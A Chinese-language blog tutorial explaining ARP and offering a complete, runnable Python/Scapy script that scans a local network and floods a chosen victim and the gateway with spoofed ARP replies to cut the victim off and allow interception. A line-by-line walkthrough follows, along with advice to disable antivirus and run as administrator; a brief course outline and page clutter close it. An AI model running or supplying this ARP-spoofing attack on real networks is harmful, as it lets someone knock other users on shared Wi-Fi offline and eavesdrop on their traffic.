利用python脚本实现一招断网

本文深入探讨了ARP(地址解析协议)的工作原理及其在内网环境下的攻击方式,详细介绍了如何利用ARP协议的特性实施中间人攻击,截获并操纵内网中靶机与网关之间的通信。
该文章已生成可运行项目,

看标题可能比较高大上,但是实际上需要一个前提条件:处在同一个内网环境下,通俗的意义上讲可以是在同一个WiFi下,但是内网的含义不止如此,想要了解的可以自行百度,这里不作补充


首先介绍一下原理
这里我们需要介绍一下ARP协议以及ARP攻击的实现方式

ARP(Address Resolution Protocol)地址解析协议,目的是实现IP地址到MAC地址的转换。
计算机在进行通信的时候,唯一标识是出厂就设置好的MAC地址(这个MAC不是苹果公司下的MAC产品),但是网络层传输需要用到IP,于是便需要这个IP地址跟MAC地址的互相转换的协议(看不懂没关系)。

ARP攻击的原理
计算机在接入WiFi时,路由器会告诉接入的计算机网关的IP是多少(一般是xxx.xxx.xxx.1或者xxx.xxx.xxx.254),因为计算机特别是现在的笔记本电脑,需要在多个网络环境下进行工作,比如白天在公司(在学校),晚上在家(在寝室),不同的路由器设置的网关不一定一样,所以计算机内部识别网关是动态的(一般情况下)。
这里假设网关是192.168.1.1,攻击机是192.168.1.10,靶机是192.168.1.20
于是这里利用网关的漏洞,攻击机向靶机不断发送192.168.1.10是你的网关这样的信息,欺骗靶机,因为网关的识别是动态的,所以靶机就以为192.168.1.10是它的网关,就将需要传向互联网的信息传给攻击机。
同理,攻击机也欺骗网关,不断发送我是192.168.1.20,于是网关就相信了它就是192.168.1.20
说的可能比较难懂,大家可以理解为不断洗脑的结果,于是攻击机就开始成为了靶机和网关之间的一个代理,所有靶机需要传到互联网的信息都会经过攻击机,所有互联网需要传给靶机的信息也会经过攻击机。
那么,攻击机就可以做到监听靶机的信息,或者把信息掐断不作转发,那靶机就断网了。
以下开始上代码:


全部代码如下,接下来开始分部讲解

import os
import time
from scapy.all import *

def scan2spoof():
	netcard = 'Intel(R) Wireless-AC 9461'  #攻击网卡
	cmdcode = 'route print'

	#执行cmd,获得当前主机ip和网关
	for line in os.popen(cmdcode):
		#通过line获得ipv4和网关
		s = line.strip()
		if s.startswith("0.0.0.0"):
			iplist = s.split()
			wg = iplist[2] #网关
			ip = iplist[3] #ip
			
	print("网卡是:{}".format(netcard))
	print("ip是:{}".format(ip))
	print("网关是:{}".format(wg))

	#封装一个ARP形式的数据包,符合以太网格式
	arppk = Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg+"/24")
	ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0)
	print("在线主机:{}".format(len(ansip)))
	print("不在线主机:{}".format(len(unansip)))
	ansersip = []
	for s,r in ansip:
		ansersip.append([r.psrc,r.hwsrc])#ip,mac
	ansersip.sort() #去重排序

	for ip,mac in ansersip:
		print(ip , "--->" , mac)

	#抓包,代理
	#阻断网络
	vip = input("请输入需要攻击的ip:")
	ttl = int(input("请输入需要攻击的时间(秒):"))
	#一下实现ARP攻击即可
	for i in range(ttl*5):
		sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=wg),verbose=0)
		sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vip),verbose=0)
		time.sleep(0.2)
	print("对{}的ARP攻击完成".format(vip))


if __name__ == "__main__":
	scan2spoof()

import os
import time
from scapy.all import *

这里先导入需要用到的包,scapy包需要自行下载,在cmd下的命令为
pip install scapy,pip不能用的同学可以尝试python -m pip install scapy

netcard = 'Intel(R) Wireless-AC 9461'  #攻击网卡
cmdcode = 'route print'

这里设置一下攻击网卡,可以在cmd下输入route print命令,用来输出网卡信息以及路由表信息,这里大家瞄准Wireless就对了在这里插入图片描述
将网卡信息设置好后,执行执行cmd来或者路由表信息:

for line in os.popen(cmdcode):
		#通过line获得ipv4和网关
		s = line.strip()
		if s.startswith("0.0.0.0"):
			iplist = s.split()
			wg = iplist[2] #网关
			ip = iplist[3] #ip
			
	print("网卡是:{}".format(netcard))
	print("ip是:{}".format(ip))
	print("网关是:{}".format(wg))

os.popen()是执行cmd命令的意思,执行之后,利用循环开始读取我们需要的信息在这里插入图片描述
在ipv4路由表上,有我们的网关信息以及我们自己的ip,将这些信息读取出来。而这些信息最主要的特征是这一行由0.0.0.0开头,所以利用startswith()函数来搞定。并且利用split()函数来以空格为标识进行分开组成列表。这里网关在第三个,ip在第四个。但是列表是从0开始的,所以网关是list[2],ip是list[3]。

#封装一个ARP形式的数据包,符合以太网格式
arppk = Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg+"/24")
ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0)
print("在线主机:{}".format(len(ansip)))
print("不在线主机:{}".format(len(unansip)))
ansersip = []
for s,r in ansip:
	ansersip.append([r.psrc,r.hwsrc])#ip,mac
ansersip.sort() #去重排序

for ip,mac in ansersip:
	print(ip , "--->" , mac)

这里先封装一个符合以太网形式的数据包,先探测自己所在网段的所有主机,这里我的ip是192.168.1.128,于是我将发送数据包给192.168.1.2--192.168.1.255这几个主机,如果主机处于运行状态,将给我一个回应,否则便是处于关机状态。

#抓包,代理
#阻断网络
vip = input("请输入需要攻击的ip:")
ttl = int(input("请输入需要攻击的时间(秒):"))
#一下实现ARP攻击即可
for i in range(ttl*5):
	sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=wg),verbose=0)
	sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vip),verbose=0)
	time.sleep(0.2)
print("对{}的ARP攻击完成".format(vip))

这里for循环里面,分别对你想攻击的ip发送虚假数据包,并且向网关发送虚假数据包,那靶机就断网了。休眠0.2秒以后再继续发送。如果休眠时间太长,那么会导致靶机断断续续的连上网络。


到此代码分析结束,各位同学在执行前请关闭你们的杀毒软件,不然可能实验不了.
还是不行的话,可以尝试将cmd用管理员身份打开,然后切换到脚本所在目录执行脚本~

本文章已经生成可运行项目
    尽管讲解概念如果同学们是初初相识,真有点晦涩难懂,本人讲解概念的同时,尽量结合实操来讲,这样即加固了概念,同时让同学不会感觉到太烦闷,其实对这些重要基础概念的理解,正是学习过《计算机络原理》,与直接上手做事的人的区别所在。     古人云,腹有诗书气自华,只要先搞懂了原理,学有所成,今后和别人讨论络底层问题的时候,才能够抑扬顿挫底气十足,不怯场!# 络层首部     初探十二段内容介绍     ipv4和ipv6 版本号表示;首部长度     区分服务,给数据包添加标识 QoS     总长度 Total Length;标识Identification;标志Flags     生存时间 TTL     协议号;首部校验和     实训抓包验证诸项内容# ICMP 差错报告报文格式     数据包类型(详解列表:类型值和代码)     TTL耗尽报告-1     主机不可到达(Destination unreachable)-2     路由重定向(Redirect)-3     给应用程序返回差错报告-4     实例讲解:使用ping命令测试络判出问题范围     跟踪数据包路径主要命令介绍:tracert和pathping# ARP 协议     arp 协议本段与跨段的工作原理     arp 欺骗的两个目的,阻连接或截获数据包     arp 欺骗的工作原理阐述,创建阻连接的实验环境     arp 欺骗演示工具,络执法官     arp 欺骗防止或阻止措施:         手工绑定两端通信主机的mac地址 -a         同时修改mac地址和ip地址;安装运行wireshark工具 -b         在路由器中绑定通信主机mac地址 -c# 搭建流媒体服务     提供点对点服务:采用TCP协议,而非IGMP协议     提供多播视频:根据多播地址切换频道(IGMP协议-UDP)     根据多播IP地址,参照预定规则,合成多播MAC地址     阐述IGMP跨段运行方式,与创建跨段环境     启用多播路由:实现流媒体跨段转发视频,同时抓包查看ICMP数据包特性# 习题详解    络层协议
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值